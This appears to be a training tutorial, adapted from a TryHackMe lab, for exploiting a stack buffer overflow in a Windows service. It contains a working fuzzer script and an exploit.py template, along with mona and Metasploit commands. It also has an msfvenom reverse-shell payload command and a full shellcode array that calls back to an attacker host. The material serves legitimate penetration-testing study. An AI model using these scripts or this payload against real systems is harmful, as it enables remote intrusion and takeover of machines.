Bufferoverflow

Credits

This tutorial - steps to follow have been built from the Buffer Overflow Prep room on Try Hack Me.

Prerequisite

To be able to make a buffer overflow you need three things:

Linux Machine
Windows Machine
Imminuty debugger install in the windows machine
The mona python program present on your windows machine

Steps to follow

Run the program

Right-click the Immunity Debugger icon on the Desktop and choose “Run as administrator”.
When Immunity loads, click the open file icon, or choose File -> Open. Navigate to the vulnerable apps folder. Select the (.exe) binary and click “Open”.
The binary will open in a “paused” state, so click the red play icon or choose Debug -> Run. In a terminal window, the (.exe) binary should be running.

Mona Configuration

Configure a working folder using the following command, which you can run in the command input box at the bottom of the Immunity Debugger window:
```
!mona config -set workingfolder c:\mona\%p
```

Fuzzing

Create a file on your Kali box called fuzzer.py with the following contents:

import socket, time, sys

ip = "MACHINE_IP"

port = <PORT>
timeout = 5
prefix = ""

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

Run the fuzzer.py script using python: python3 fuzzer.py
The fuzzer will send increasingly long strings comprised of As. If the fuzzer crashes the server with one of the strings, the fuzzer should exit with an error message. Make a note of the largest number of bytes that were sent.

Crash Replication & Controlling EIP

Create another file on your Kali box called exploit.py with the following contents:

import socket

ip = "MACHINE_IP"
port = <PORT>

prefix = ""
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

Run the following command to generate a cyclic pattern of a length 400 bytes longer that the string that crashed the server (change the -l value to this):

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600

Copy the output and place it into the payload variable of the exploit.py script.
On Windows, in Immunity Debugger, re-open the (.exe) again using the same method as before, and click the red play icon to get it running. You will have to do this prior to each time we run the exploit.py (which we will run multiple times with incremental modifications).
On Kali, run the modified exploit.py script: python3 exploit.py
The script should crash the (.exe) server again. This time, in Immunity Debugger, in the command input box at the bottom of the screen, run the following mona command, changing the distance to the same length as the pattern you created:

!mona findmsp -distance 600

Mona should display a log window with the output of the command. If not, click the “Window” menu and then “Log data” to view it (choose “CPU” to switch back to the standard view).
In this output you should see a line which states:

EIP contains normal pattern : ... (offset XXXX)

Update your exploit.py script and set the offset variable to this value (was previously set to 0). Set the payload variable to an empty string again. Set the retn variable to “BBBB”.
Restart your (.exe) in Immunity and run the modified exploit.py script again. The EIP register should now be overwritten with the 4 B’s (e.g. 42424242).

Finding Bad Characters

Generate a bytearray using mona, and exclude the null byte (\x00) by default. Note the location of the bytearray.bin file that is generated.

!mona bytearray -b "\x00"

Now generate a string of bad chars that is identical to the bytearray. The following python script can be used to generate a string of bad chars from \x01 to \xff:

for x in range(1, 256):
  print("\\x" + "{:02x}".format(x), end='')
print()

Update your exploit.py script and set the payload variable to the string of bad chars the script generates.
Restart your (.exe) in Immunity and run the modified exploit.py script again. Make a note of the address to which the ESP register points and use it in the following mona command

!mona compare -f C:\mona\oscp\bytearray.bin -a <address>

A popup window should appear labelled “mona Memory comparison results”. If not, use the Window menu to switch to it. The window shows the results of the comparison, indicating any characters that are different in memory to what they are in the generated bytearray.bin file.
Not all of these might be badchars! Sometimes badchars cause the next byte to get corrupted as well, or even effect the rest of the string.
The first badchar in the list should be the null byte (\x00) since we already removed it from the file. Make a note of any others. Generate a new bytearray in mona, specifying these new badchars along with \x00. Then update the payload variable in your exploit.py script and remove the new badchars as well.
Restart your (.exe) in Immunity and run the modified exploit.py script again. Repeat the badchar comparison until the results status returns “Unmodified”. This indicates that no more badchars exist.

Finding a Jump Point

With the (.exe) either running or in a crashed state, run the following mona command, making sure to update the -cpb option with all the badchars you identified (including \x00):

!mona jmp -r esp -cpb "\x00"

This command finds all “jmp esp” (or equivalent) instructions with addresses that don’t contain any of the badchars specified. The results should display in the “Log data” window (use the Window menu to switch to it if needed)
Choose an address and update your exploit.py script, setting the “retn” variable to the address, written backwards (since the system is little endian). For example if the address is \x01\x02\x03\x04 in Immunity, write it as \x04\x03\x02\x01 in your exploit.

Generate Payload

Run the following msfvenom command on Kali, using your Kali VPN IP as the LHOST and updating the -b option with all the badchars you identified (including \x00):

msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -b "\x00" -f c

Copy the generated C code strings and integrate them into your exploit.py script payload variable using the following notation:

payload = (
"\x31\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\x02\x0b\xc4\xe2\x83\xee\xfc\xe2\xf4\xfe\xe3\x46\xe2\x02\x0b"
"\xa4\x6b\xe7\x3a\x04\x86\x89\x5b\xf4\x69\x50\x07\x4f\xb0\x16"
"\x80\xb6\xca\x0d\xbc\x8e\xc4\x33\xf4\x68\xde\x63\x77\xc6\xce"
"\x22\xca\x0b\xef\x03\xcc\x26\x10\x50\x5c\x4f\xb0\x12\x80\x8e"
"\xde\x89\x47\xd5\x9a\xe1\x43\xc5\x33\x53\x80\x9d\xc2\x03\xd8"
"\x4f\xab\x1a\xe8\xfe\xab\x89\x3f\x4f\xe3\xd4\x3a\x3b\x4e\xc3"
"\xc4\xc9\xe3\xc5\x33\x24\x97\xf4\x08\xb9\x1a\x39\x76\xe0\x97"
"\xe6\x53\x4f\xba\x26\x0a\x17\x84\x89\x07\x8f\x69\x5a\x17\xc5"
"\x31\x89\x0f\x4f\xe3\xd2\x82\x80\xc6\x26\x50\x9f\x83\x5b\x51"
"\x95\x1d\xe2\x54\x9b\xb8\x89\x19\x2f\x6f\x5f\x63\xf7\xd0\x02"
"\x0b\xac\x95\x71\x39\x9b\xb6\x6a\x47\xb3\xc4\x05\xf4\x11\x5a"
"\x92\x0a\xc4\xe2\x2b\xcf\x90\xb2\x6a\x22\x44\x89\x02\xf4\x11"
"\xb2\x52\x5b\x94\xa2\x52\x4b\x94\x8a\xe8\x04\x1b\x02\xfd\xde"
"\x53\x88\x07\x63\xce\xea\x01\x03\xac\xe0\x02\x1a\x98\x6b\xe4"
"\x61\xd4\xb4\x55\x63\x5d\x47\x76\x6a\x3b\x37\x87\xcb\xb0\xee"
"\xfd\x45\xcc\x97\xee\x63\x34\x57\xa0\x5d\x3b\x37\x6a\x68\xa9"
"\x86\x02\x82\x27\xb5\x55\x5c\xf5\x14\x68\x19\x9d\xb4\xe0\xf6"
"\xa2\x25\x46\x2f\xf8\xe3\x03\x86\x80\xc6\x12\xcd\xc4\xa6\x56"
"\x5b\x92\xb4\x54\x4d\x92\xac\x54\x5d\x97\xb4\x6a\x72\x08\xdd"
"\x84\xf4\x11\x6b\xe2\x45\x92\xa4\xfd\x3b\xac\xea\x85\x16\xa4"
"\x1d\xd7\xb0\x24\xff\x28\x01\xac\x44\x97\xb6\x59\x1d\xd7\x37"
"\xc2\x9e\x08\x8b\x3f\x02\x77\x0e\x7f\xa5\x11\x79\xab\x88\x02"
"\x58\x3b\x37"
)

Prepend NOPs

Since an encoder was likely used to generate the payload, you will need some space in memory for the payload to unpack itself. You can do this by setting the padding variable to a string of 16 or more “No Operation” (\x90) bytes:

padding = "\x90" * 16

Exploit

Now with your netcat listener set, you are ready to exploit the buffer overflow

PREVIOUSOSCP notes

NEXTAD Checklist